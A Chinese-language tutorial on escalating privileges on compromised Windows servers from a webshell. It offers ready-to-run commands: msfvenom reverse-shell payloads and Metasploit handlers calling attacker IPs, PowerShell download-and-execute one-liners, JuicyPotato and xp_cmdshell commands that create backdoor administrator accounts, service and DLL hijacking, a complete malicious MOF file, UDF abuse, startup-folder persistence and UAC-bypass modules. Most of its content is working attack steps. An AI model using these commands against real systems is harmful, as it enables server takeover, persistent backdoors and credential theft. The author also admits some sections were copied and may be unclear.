windows的常用提权方法,主要分为:
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True
get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软
件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
检测系统补丁脚本:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁:
https://github.com/chroblert/WindowsVulnScan
windows 内核提权exp:
https://github.com/SecWiki/windows-kernel-exploits
在线提权利用查询:
https://lolbas-project.github.io/
提权辅助网页:
http://bugs.hacking8.com/tiquan/
asp大马:
在webshell上执行 systeminfo
复制systeminfo信息到 http://bugs.hacking8.com/tiquan/
查询exp
将systeminfo信息保存在txt文本中
工具GitHub地址:
https://github.com/bitsadmin/wesng
pip3 install chardet #下载包
python wes.py --update-wes #更新
python wes.py c:\sys.txt #检测补丁
GitHub下载地址:
https://github.com/chroblert/WindowsVulnScan
可选参数:
# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help # show this help message and exit
-u, --update-cve # 更新CVEKB数据
-U, --update-exp # 更新CVEEXP数据
-m MODE, --mode # MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
-C, --check-EXP # 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME
# 搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION
# 搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE # ps1脚本运行后产生的.json文件
在webshell执行 需要把源码进行修改 把Out-file的文件写在可写的目录上
![13](C:/Users/MSI-NB/Desktop/提权篇/13.png)
# 1. 搜集所有的KB补丁
$KBArray = @()
$KBArray = Get-HotFix|ForEach-Object {$_.HotFixId}
$test = $KBArray|ConvertTo-Json
return $test
}
function Get-BasicInfo(){
# 1. 操作系统
# $windowsProductName = (Get-ComputerInfo).WindowsProductName
$windowsProductName = (Get-CimInstance Win32_OperatingSystem).Caption
# 2. 操作系统版本
$windowsVersion = (Get-ComputerInfo).WindowsVersion
$basicInfo = "
{""windowsProductName"":""$windowsProductName"",""windowsVersion"":""$windowsVer
sion""}"
return $basicInfo
}
$basicInfo = Get-BasicInfo
$KBList = Get-CollectKB
$KBResult = "{""basicInfo"":$basicInfo,""KBList"":$KBList}"
$KBResult|Out-File C:\ProgramData\KB.json -encoding utf8
webshell执行powershell查询补丁 执行会在C:\ProgramData\生成kb.json文件
Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.150.145/KBCollect.ps1')
首先运行powershell脚本 KBCollect.ps 收集一些信息 运行后在目录下生成kb.json
.\KBCollect.ps1
# 如果无法执行powershell就执行下面的命令试试
Set-ExecutionPolicy -Scope CurrentUser
remotesigned
将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录
安装一些python3模块
python3 -m pip install -r requirements.txt
运行 cve-check.py -u 创建CVEKB数据库
运行 cve-check.py -U 更新CVEKB数据库中的 hasPOC 字段
此处可以使用-m选择更新模式。
-m All:更新所有
-m Empty:只更新hasPOC字段为空的
-m Error:只更新hasPOC字段为Error的
运行 cve-check.py -C -f KB.json 查看具有公开EXP的CVE,如下:
python cve-check.py -C -f KB.json
通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。
Tips:又名烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075
利用文件GitHub下载地址:
https://github.com/itm4n/PrintSpoofer
下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录,并执行命令
执行完后看到权限已经是system了 新建账号添加到管理员组
C:\ProgramData\JuicyPotato_x32.exe -a "net user lian 123456 /add && netlocalgroup administrators lian /add"
升级版本
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。
漏洞利用文件比较大,一般采用powershell下载后执行
Powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.4/Win64.exe’)
或者使用其他大马进行上传
上传到可执行目录后执行
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787
利用程序下载地址:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
这个提权exp有点特殊它必须已经使用远程桌面登录后,并拥有一个普通用户的权限才可以提权。
它在执行完后会给我们弹出来一个拥有system权限的一个cmd窗口
执行效果如下:
metasplit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
在kali上生成反向连接后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.195 lport=12345 -f exe >s.exe
进入到 msfconsole 中使用监听进行监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.145
set lport 12345
run
使用大马上传msfconsole 木马到可读可写的目录下进行执行
我们已经获取到了一个会话
可以使用常规的提权exp进行测试
windows 常见的提权模块
ms14_058 # 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV # 本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle # 本地提权漏漏洞
使用模块进行自动化信息收集提权
background
use post/multi/recon/local_exploit_suggester
set session 1
exploit
这个模块可能会执行失败,这个是时候我们可以使用下面这个模块用来查询是否有程序配置错误可以让我们来提权
background
use exploit/windows/local/service_permissions
set session 2
run
像我这里都执行失败了就只能查找补丁看有哪些可以利用的exp了
这里我使用 CVE-2016-3225(MS16-075)进行提权
提权成功
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
Powershell中的PowerUp脚本 https://github.com/HarmJ0y/PowerUp 加载模块并执行 列出可能存在问题的所有服务 分析能否利用
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"
PrivescCheck这个Powershell比PowerUp显示的内容更加详细,PowerUp长期没更新了,建议用这个工具对配置进行详细错误。
git clone https://github.com/itm4n/PrivescCheck.git
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PrivescCheck.ps1'); Invoke-PrivescCheck"
NT AUTHORITY\Authenticated Users 普通用户也能设置文件普通用户可以对usosvc服务进行设置 s.exe是msf的后门程序
sc stop UsoSvc
sc config usosvc binPath= "C:\s.exe"
sc start UsoSvc
use exploit/windows/local/service_permissions
service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("没有双引号执行命令!");
}
}
}
编译成exe 然后改名上传到 c盘 Program.exe
服务器执行的时候如果没有添加双引号 程序是这样寻找Rar.exe文件
1.没有双引号的时候会执行Program.exe文件
没有双引号的时候,windows会把空格前面的当做exe文件执行。
"C:\Program Files\WinRAR\Rar.exe"
使用PowerUp.ps1进行检测,会遍历出带有空格的文件路径
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"
或者使用命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """
2345看图王核心服务 2345PicSvc C:\Program Files(x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe Auto
2345王牌输入法核心服务 2345PinyinSvc C:\Program Files(x86)\2345Soft\2345Pinyin\5.8.1.7232\Protect\Pinyin_2345Svc.exe Auto
看到服务器
即存在漏洞
如果C盘可写上传反弹后门到C:\Program.exe即可
系统在重启 获取管理员重启该服务的时候就会获取系统权限
记得在设置 metasploist set AutoRunScript migrate -f
自动迁移进程 不然会连接就断开
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。
原理:是因为用户打开了windows installer 特权安装功能
运行gpedit.msc
打开组策略编辑器
也可以使用命令行修改注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用PowerUp检测注册表是否有设置 如果返回true证明可以利用
PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.121/PowerUp.ps1'); Get-
RegAlwaysInstallElevated
iis_user组用户权限较低 返回false
上传 C:\ProgramData\COMahawk64.exe 执行即可获取一个系统得账号和密码
禁用注册表键AlwaysInstallElevated。
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
我们执行如下命令,搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
这里我们的Unattend.xml文件是使用了base64对管理员的密码进行编码的
也使用msf的 post/windows/gather/enum_unattend
对这个配置文件扫描
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功
收集进程加载的dll
使用火绒剑分析该进程执行时加载了哪些dll
系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件。
生成dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f dll > libcurl_x86.dll
替换原来的dll
除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令
web.config
config.asp
conn.aspx
database.aspx
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微dll,c语言编写
可以使用语句查询plugin插件目录
show variables like "%plugin%"
在网站上寻找mysql服务的连接账号和密码
上传提权脚本 到网站目录
填写mysql的账号和密码后 导出udf
创建udf函数
这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
SELECT @@global.secure_file_priv
这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
公开的nullevt.mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user
moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把mof.php上传到脚本 填写命令导出即可
G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。
netstat -ano
查看G6fp端口
在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
cmd5破解密码
使用端口转发工具把8021端口转发出来 lcx.exe -tran 2333 127.0.0.1 8021
在攻击者上安装g6ftp 连接上服务端进行设置
将以下添加管理员命令 保存为bat文件上传到目标上 在设置里选择执行
net user moon QWEasd123 /add && net localgroup administrators moon /add
登录ftp执行 quote stie A 但是失败了
上传 Program.exe到系统重启执行目录里面重启时会自动执行(前提是有权限写入到那个目录)
系统启动项目录:
c://Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/
写到启动项执行后门
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
bypassuac模块绕过uac
使用msf搜索 uac模块
通常使用 bypassuac模块 一般是可以绕过的 但是也不排除失败的可能
通过进程注入使可信任发布者证书绕过Windows UAC。
use exploit/windows/local/bypassuac
set session 1
run
在这里bypassuac失败
使用bypassuac_injection模块进行bypass
use exploit/windows/local/bypassuac_injection
此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()
use exploit/windows/local/bypassuac_injection
set session 1
run
如果使用hashdump出现这些错误信息
迁移进行到64进程即可哈希。
到这里呢,Windows的提权就基本差不多完了。Windows的提权主要靠本地漏洞或者是管理员的配置不当以及一些系统的特性。
在提权中一定要细心不要放弃每一个可以尝试的点。
另外关于本篇文章有的地方因为靶机的问题是我在学习文章中直接复制过来的可能有的地方讲的不是很清楚还请见谅。